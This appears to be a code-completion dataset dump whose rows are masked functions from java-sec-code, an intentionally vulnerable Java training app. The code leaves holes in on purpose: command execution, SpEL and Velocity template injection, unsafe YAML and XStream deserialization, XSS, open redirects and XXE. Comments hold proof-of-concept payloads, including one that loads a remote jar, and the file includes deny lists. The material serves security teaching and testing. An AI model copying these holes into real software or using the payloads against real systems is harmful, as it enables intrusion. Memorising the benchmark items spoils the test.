proj_name
stringclasses 131
values | relative_path
stringlengths 30
228
| class_name
stringlengths 1
68
| func_name
stringlengths 1
48
| masked_class
stringlengths 78
9.82k
| func_body
stringlengths 46
9.61k
| len_input
int64 29
2.01k
| len_output
int64 14
1.94k
| total
int64 55
2.05k
| relevant_context
stringlengths 0
38.4k
|
|---|---|---|---|---|---|---|---|---|---|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/Rce.java
|
Rce
|
jsEngine
|
class Rce {
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
/**
* <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl http://xx.yy/zz.js
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{<FILL_FUNCTION_BODY>}
/**
* http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
* yaml-payload.jar: https://github.com/artsploit/yaml-payload
*
* @param content payloads
*/
@GetMapping("/vuln/yarm")
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}
@GetMapping("/sec/yarm")
public void secYarm(String content) {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
}
/**
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
* @param content groovy shell
*/
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("touch /tmp/x");
}
}
|
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
| 951
| 88
| 1,039
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/SSTI.java
|
SSTI
|
velocity
|
class SSTI {
/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
* <p>
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
public void velocity(String template) {<FILL_FUNCTION_BODY>}
}
|
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
| 208
| 101
| 309
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/Shiro.java
|
Shiro
|
shiro_deserialize
|
class Shiro {
byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
private final static String DELETE_ME = "deleteMe";
AesCipherService acs = new AesCipherService();
@GetMapping(value = "/shiro/deserialize")
public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {<FILL_FUNCTION_BODY>}
}
|
Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
try {
String rememberMe = cookie.getValue();
byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
} catch (Exception e){
if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
log.error(e.getMessage());
return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
}
}
return "Shiro deserialize";
| 133
| 245
| 378
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/SpEL.java
|
SpEL
|
spel_vuln2
|
class SpEL {
/**
* Use Spel to execute cmd. <p>
* T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
*/
@RequestMapping("/spel/vuln1")
public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
return parser.parseExpression(value).getValue().toString();
}
/**
* Use Spel to execute cmd. <p>
* #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
* Exploit must add <code>#{}</code> if using TemplateParserContext.
*/
@RequestMapping("spel/vuln2")
public String spel_vuln2(String value) {<FILL_FUNCTION_BODY>}
/**
* Use SimpleEvaluationContext to fix.
*/
@RequestMapping("spel/sec")
public String spel_sec(String value) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(value, new TemplateParserContext());
Object x = expression.getValue(context);
return x.toString();
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
}
|
StandardEvaluationContext context = new StandardEvaluationContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(value, new TemplateParserContext());
Object x = expression.getValue(context); // trigger vulnerability point
return x.toString(); // response
| 401
| 76
| 477
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/URLRedirect.java
|
URLRedirect
|
forward
|
class URLRedirect {
/**
* http://localhost:8080/urlRedirect/redirect?url=http://www.baidu.com
*/
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}
/**
* http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com
*/
@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}
/**
* http://localhost:8080/urlRedirect/sendRedirect?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect")
@ResponseBody
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}
/**
* Safe code. Because it can only jump according to the path, it cannot jump according to other urls.
* http://localhost:8080/urlRedirect/forward?url=/urlRedirect/test
*/
@RequestMapping("/forward")
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>}
/**
* Safe code of sendRedirect.
* http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com
*/
@RequestMapping("/sendRedirect/sec")
@ResponseBody
public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String url = request.getParameter("url");
if (SecurityUtil.checkURL(url) == null) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write("url forbidden");
return;
}
response.sendRedirect(url);
}
}
|
String url = request.getParameter("url");
RequestDispatcher rd = request.getRequestDispatcher(url);
try {
rd.forward(request, response);
} catch (Exception e) {
e.printStackTrace();
}
| 591
| 67
| 658
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/URLWhiteList.java
|
URLWhiteList
|
sec
|
class URLWhiteList {
private String domainwhitelist[] = {"joychou.org", "joychou.com"};
private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
/**
* bypass poc: bypassjoychou.org
* http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
*/
@GetMapping("/vuln/endsWith")
public String endsWith(@RequestParam("url") String url) {
String host = SecurityUtil.gethost(url);
for (String domain : domainwhitelist) {
if (host.endsWith(domain)) {
return "Good url.";
}
}
return "Bad url.";
}
/**
* It's the same with <code>indexOf</code>.
* <p>
* http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
* http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
*/
@GetMapping("/vuln/contains")
public String contains(@RequestParam("url") String url) {
String host = SecurityUtil.gethost(url);
for (String domain : domainwhitelist) {
if (host.contains(domain)) {
return "Good url.";
}
}
return "Bad url.";
}
/**
* bypass poc: bypassjoychou.org. It's the same with endsWith.
* http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
*/
@GetMapping("/vuln/regex")
public String regex(@RequestParam("url") String url) {
String host = SecurityUtil.gethost(url);
Pattern p = Pattern.compile("joychou\\.org$");
Matcher m = p.matcher(host);
if (m.find()) {
return "Good url.";
} else {
return "Bad url.";
}
}
/**
* The bypass of using {@link java.net.URL} to getHost.
* <p>
* <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5c@www.joychou.org/a.html">bypass 1</a>
* <a href="http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html">bypass 2</a>
*
* <p>
* <a href="https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass">More details</a>
*/
@GetMapping("/vuln/url_bypass")
public void url_bypass(String url, HttpServletResponse res) throws IOException {
logger.info("url: " + url);
if (!SecurityUtil.isHttp(url)) {
return;
}
URL u = new URL(url);
String host = u.getHost();
logger.info("host: " + host);
// endsWith .
for (String domain : domainwhitelist) {
if (host.endsWith("." + domain)) {
res.sendRedirect(url);
}
}
}
/**
* First-level & Multi-level host whitelist.
* http://localhost:8080/url/sec?url=http://aa.joychou.org
*/
@GetMapping("/sec")
public String sec(@RequestParam("url") String url) {<FILL_FUNCTION_BODY>}
/**
* http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
*/
@GetMapping("/sec/array_indexOf")
public String sec_array_indexOf(@RequestParam("url") String url) {
// Define muti-level host whitelist.
ArrayList<String> whiteDomainlists = new ArrayList<>();
whiteDomainlists.add("bbb.joychou.org");
whiteDomainlists.add("ccc.bbb.joychou.org");
if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
String host = SecurityUtil.gethost(url);
if (whiteDomainlists.indexOf(host) != -1) {
return "Good url.";
}
return "Bad url.";
}
}
|
String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
String host = SecurityUtil.gethost(url);
for (String whiteHost: whiteDomainlists){
if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
return url;
} else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
return url;
}
}
return "Bad url.";
| 1,249
| 162
| 1,411
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/WebSockets.java
|
WebSockets
|
cmdInject
|
class WebSockets {
/**
* <p>动态添加WebSockets实现命令执行</p>
* <p>
* 1. WebSocket的端口和Spring端口一致。<br>
* 2. 如果应用需要登录，动态添加的WebSocket路由不能要求被登录，否则添加失败。
* </p>
* <p>
* <a href="http://localhost:8080/websocket/cmd?path=/ws/shell">http://localhost:8080/websocket/cmd?path=/ws/shell</a> <br>
* WebSockets 的URL为ws://127.0.0.1:8080/ws/shell
* </p>
* <p>JoyChou @ 2023年02月20日 </p>
*/
@RequestMapping("/websocket/cmd")
public String cmdInject(HttpServletRequest req) {<FILL_FUNCTION_BODY>}
@RequestMapping("/websocket/proxy")
public String proxyInject(HttpServletRequest req) {
String path = req.getParameter("path");
if (path == null) {
return "path is null";
}
ServletContext sc = req.getServletContext();
try {
ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build();
WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
if (wsc.findMapping(path) == null) {
wsc.addEndpoint(sec);
System.out.println("[+] Websocket: " + path + " inject success!!!");
return "[+] Websocket: " + path + " inject success!!!";
} else {
System.out.println("[-] Websocket: " + path + " has been injected!");
return "[-] Websocket: " + path + " has been injected!";
}
} catch (Exception e) {
return e.toString();
}
}
}
|
String path = req.getParameter("path");
if (path == null) {
return "path is null";
}
ServletContext sc = req.getServletContext();
try {
ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build();
WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName());
if (wsc.findMapping(path) == null) {
wsc.addEndpoint(sec);
System.out.println("[+] Websocket: " + path + " inject success!!!");
return "[+] Websocket: " + path + " inject success!!!";
} else {
System.out.println("[-] Websocket: " + path + " has been injected!");
return "[-] Websocket: " + path + " has been injected!";
}
} catch (Exception e) {
return e.toString();
}
| 543
| 250
| 793
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/XSS.java
|
XSS
|
encode
|
class XSS {
/**
* Vuln Code.
* ReflectXSS
* http://localhost:8080/xss/reflect?xss=<script>alert(1)</script>
*
* @param xss unescape string
*/
@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
return xss;
}
/**
* Vul Code.
* StoredXSS Step1
* http://localhost:8080/xss/stored/store?xss=<script>alert(1)</script>
*
* @param xss unescape string
*/
@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}
/**
* Vul Code.
* StoredXSS Step2
* http://localhost:8080/xss/stored/show
*
* @param xss unescape string
*/
@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}
/**
* safe Code.
* http://localhost:8080/xss/safe
*/
@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}
private static String encode(String origin) {<FILL_FUNCTION_BODY>}
}
|
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
return origin;
| 435
| 124
| 559
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/XStreamRce.java
|
XStreamRce
|
parseXml
|
class XStreamRce {
/**
* Fix method: update xstream to 1.4.11
* Xstream affected version: 1.4.10 or <= 1.4.6
* Set Content-Type: application/xml
*
* @author JoyChou @2019-07-26
*/
@PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {<FILL_FUNCTION_BODY>}
}
|
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected.
xstream.fromXML(xml);
return "xstream";
| 125
| 76
| 201
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
|
ooxmlXXE
|
ooxml_xxe
|
class ooxmlXXE {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping("/upload")
public String index() {
return "xxe_upload"; // return xxe_upload.html page
}
@PostMapping("/readxlsx")
@ResponseBody
public String ooxml_xxe(MultipartFile file) throws IOException {<FILL_FUNCTION_BODY>}
}
|
XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
XSSFRow row;
XSSFCell cell;
Iterator rows = sheet.rowIterator();
StringBuilder sbResult = new StringBuilder();
while (rows.hasNext()) {
row = (XSSFRow) rows.next();
Iterator cells = row.cellIterator();
while (cells.hasNext()) {
cell = (XSSFCell) cells.next();
if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
sbResult.append(cell.getStringCellValue()).append(" ");
} else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
sbResult.append(cell.getNumericCellValue()).append(" ");
} else {
logger.info("errors");
}
}
}
return sbResult.toString();
| 119
| 270
| 389
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/filter/BaseCorsFilter.java
|
BaseCorsFilter
|
configurationSource
|
class BaseCorsFilter extends CorsFilter {
public BaseCorsFilter() {
super(configurationSource());
}
private static UrlBasedCorsConfigurationSource configurationSource() {<FILL_FUNCTION_BODY>}
}
|
CorsConfiguration config = new CorsConfiguration();
config.setAllowCredentials(true);
config.addAllowedOrigin("joychou.org"); // 不支持
config.addAllowedOrigin("http://test.joychou.me");
config.addAllowedHeader("*");
config.addAllowedMethod("GET");
config.addAllowedMethod("POST");
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/cors/sec/corsFilter", config);
return source;
| 61
| 144
| 205
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/filter/OriginFilter.java
|
OriginFilter
|
doFilter
|
class OriginFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
throws IOException, ServletException {<FILL_FUNCTION_BODY>}
@Override
public void destroy() {
}
}
|
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
String origin = request.getHeader("Origin");
logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
// 以file协议访问html，origin为字符串的null，所以依然会走安全check逻辑
if (origin != null && SecurityUtil.checkURL(origin) == null) {
logger.error("[-] Origin check error. " + "Origin: " + origin +
"\tCurrent url:" + request.getRequestURL());
response.setStatus(response.SC_FORBIDDEN);
response.getWriter().println("Invaid cors config by joychou.");
return;
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
filterChain.doFilter(req, res);
| 119
| 275
| 394
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/filter/ReferFilter.java
|
ReferFilter
|
doFilter
|
class ReferFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
throws IOException, ServletException {<FILL_FUNCTION_BODY>}
@Override
public void destroy() {
}
}
|
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
String refer = request.getHeader("referer");
PathMatcher matcher = new AntPathMatcher();
boolean isMatch = false;
// 获取要校验Referer的Uri
for (String uri : WebConfig.getReferUris()) {
if (matcher.match(uri, request.getRequestURI())) {
isMatch = true;
break;
}
}
if (!isMatch) {
filterChain.doFilter(req, res);
return;
}
if (!WebConfig.getReferSecEnabled()) {
filterChain.doFilter(req, res);
return;
}
// Check referer for all GET requests with callback parameters.
String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
// If the check of referer fails, a 403 forbidden error page will be returned.
if (SecurityUtil.checkURL(refer) == null) {
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ "Referer: " + refer);
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.getWriter().write(" Referer check error.");
response.flushBuffer();
return;
}
}
filterChain.doFilter(req, res);
| 119
| 402
| 521
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/impl/HttpServiceImpl.java
|
HttpServiceImpl
|
RequestHttpBanRedirects
|
class HttpServiceImpl implements HttpService {
@Resource
private RestTemplate restTemplate;
@Resource
private RestTemplate restTemplateBanRedirects;
/**
* Http request by RestTemplate. Only support HTTP protocol. <p>
* Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.<p>
* User-Agent: Java/1.8.0_102 <p>
*/
public String RequestHttp(String url, HttpHeaders headers) {
HttpEntity<String> entity = new HttpEntity<>(headers);
ResponseEntity<String> re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class);
return re.getBody();
}
/**
* Http request by RestTemplate. Only support HTTP protocol. <p>
* Redirects: Disable followRedirects.<p>
* User-Agent: Java/1.8.0_102 <p>
*/
public String RequestHttpBanRedirects(String url, HttpHeaders headers) {<FILL_FUNCTION_BODY>}
}
|
HttpEntity<String> entity = new HttpEntity<>(headers);
ResponseEntity<String> re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class);
return re.getBody();
| 279
| 60
| 339
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/AntObjectInputStream.java
|
AntObjectInputStream
|
resolveClass
|
class AntObjectInputStream extends ObjectInputStream {
protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class);
public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* 只允许反序列化SerialObject class
*
* 在应用上使用黑白名单校验方案比较局限，因为只有使用自己定义的AntObjectInputStream类，进行反序列化才能进行校验。
* 类似fastjson通用类的反序列化就不能校验。
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法，全局的检测白名单。
*
*/
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{<FILL_FUNCTION_BODY>}
public static void main(String args[]) throws Exception{
// 定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "world";
// 创建一个包含对象进行反序列化信息的/tmp/object数据文件
FileOutputStream fos = new FileOutputStream("/tmp/object");
ObjectOutputStream os = new ObjectOutputStream(fos);
// writeObject()方法将myObj对象写入/tmp/object文件
os.writeObject(myObj);
os.close();
// 从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("/tmp/object");
AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class
//恢复对象即反序列化
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
static class MyObject implements Serializable {
public String name;
}
}
|
String className = desc.getName();
// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " + className);
String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
| 468
| 163
| 631
|
<methods>public void <init>(java.io.InputStream) throws java.io.IOException,public int available() throws java.io.IOException,public void close() throws java.io.IOException,public void defaultReadObject() throws java.io.IOException, java.lang.ClassNotFoundException,public final java.io.ObjectInputFilter getObjectInputFilter() ,public int read() throws java.io.IOException,public int read(byte[], int, int) throws java.io.IOException,public boolean readBoolean() throws java.io.IOException,public byte readByte() throws java.io.IOException,public char readChar() throws java.io.IOException,public double readDouble() throws java.io.IOException,public java.io.ObjectInputStream.GetField readFields() throws java.io.IOException, java.lang.ClassNotFoundException,public float readFloat() throws java.io.IOException,public void readFully(byte[]) throws java.io.IOException,public void readFully(byte[], int, int) throws java.io.IOException,public int readInt() throws java.io.IOException,public java.lang.String readLine() throws java.io.IOException,public long readLong() throws java.io.IOException,public final java.lang.Object readObject() throws java.io.IOException, java.lang.ClassNotFoundException,public short readShort() throws java.io.IOException,public java.lang.String readUTF() throws java.io.IOException,public java.lang.Object readUnshared() throws java.io.IOException, java.lang.ClassNotFoundException,public int readUnsignedByte() throws java.io.IOException,public int readUnsignedShort() throws java.io.IOException,public void registerValidation(java.io.ObjectInputValidation, int) throws java.io.NotActiveException, java.io.InvalidObjectException,public final void setObjectInputFilter(java.io.ObjectInputFilter) ,public int skipBytes(int) throws java.io.IOException<variables>static final boolean $assertionsDisabled,private static final int NULL_HANDLE,private static final jdk.internal.misc.Unsafe UNSAFE,private final java.io.ObjectInputStream.BlockDataInputStream bin,private boolean closed,private java.io.SerialCallbackContext curContext,private boolean defaultDataEnd,private long depth,private final boolean enableOverride,private boolean enableResolve,private final java.io.ObjectInputStream.HandleTable handles,private int passHandle,private static final Map<java.lang.String,Class<?>> primClasses,private java.io.ObjectInputFilter serialFilter,private boolean streamFilterSet,private long totalObjectRefs,private static final java.lang.Object unsharedMarker,private final java.io.ObjectInputStream.ValidationList vlist
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
|
CsrfAccessDeniedHandler
|
handle
|
class CsrfAccessDeniedHandler implements AccessDeniedHandler {
protected final Logger logger= LoggerFactory.getLogger(this.getClass());
@Override
public void handle(HttpServletRequest request, HttpServletResponse response,
AccessDeniedException accessDeniedException) throws IOException {<FILL_FUNCTION_BODY>}
}
|
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" +
"Referer: " + request.getHeader("referer"));
response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html
response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden
response.getWriter().write("403 forbidden by JoyChou."); // response contents
| 86
| 128
| 214
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/CustomCorsProcessor.java
|
CustomCorsProcessor
|
customCheckOrigin
|
class CustomCorsProcessor extends DefaultCorsProcessor {
private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
/**
* 跨域请求，会通过此方法检测请求源是否被允许
*
* @param config CORS 配置
* @param requestOrigin 请求源
* @return 如果请求源被允许，返回请求源；否则返回 null
*/
@Override
protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
// 支持checkOrigin原装的域名配置
String result = super.checkOrigin(config, requestOrigin);
if (result != null) {
return result;
}
if (StringUtils.isBlank(requestOrigin)) {
return null;
}
return customCheckOrigin(requestOrigin);
}
/**
* 自定义校验requestOrigin
*/
private String customCheckOrigin(String requestOrigin) {<FILL_FUNCTION_BODY>}
}
|
if ( SecurityUtil.checkURL(requestOrigin) != null) {
logger.info("[+] Origin: " + requestOrigin );
return requestOrigin;
}
logger.error("[-] Origin: " + requestOrigin );
return null;
| 261
| 69
| 330
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
|
DisableSpringSecurityFirewall
|
getFirewalledRequest
|
class DisableSpringSecurityFirewall implements HttpFirewall {
@Override
public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {<FILL_FUNCTION_BODY>}
@Override
public HttpServletResponse getFirewalledResponse(HttpServletResponse response) {
return response;
}
}
|
return new FirewalledRequest(request) {
@Override
public void reset() {
}
};
| 88
| 32
| 120
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/LoginFailureHandler.java
|
LoginFailureHandler
|
onAuthenticationFailure
|
class LoginFailureHandler implements AuthenticationFailureHandler {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void onAuthenticationFailure(HttpServletRequest request,
HttpServletResponse response, AuthenticationException exception)
throws ServletException, IOException {<FILL_FUNCTION_BODY>}
}
|
logger.info("Login failed. " + request.getRequestURL() +
" username: " + request.getParameter("username") +
" password: " + request.getParameter("password") );
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}");
| 86
| 98
| 184
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/LoginSuccessHandler.java
|
LoginSuccessHandler
|
onAuthenticationSuccess
|
class LoginSuccessHandler implements AuthenticationSuccessHandler {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void onAuthenticationSuccess(HttpServletRequest request,
HttpServletResponse response, Authentication authentication)
throws ServletException, IOException {<FILL_FUNCTION_BODY>}
}
|
logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS.");
SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response);
String originUrl = "";
try {
originUrl = savedRequest.getRedirectUrl();
} catch (Exception e) {
logger.debug(e.toString());
}
if (savedRequest != null) {
logger.info("Original url is: " + originUrl);
}
Map<String, String> content = new HashMap<>();
content.put("code", "0");
content.put("message", "Login success");
content.put("redirectUrl", originUrl);
// 直接进行sendRedirect到登录前的url，会重定向失败。具体原因可google ajax and sendRedirect
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
response.getWriter().write(JSON.toJSONString(content));
| 84
| 243
| 327
|
<no_super_class>
|
JoyChou93_java-sec-code
|
java-sec-code/src/main/java/org/joychou/security/SecurityUtil.java
|
SecurityUtil
|
pathFilter
|
class SecurityUtil {
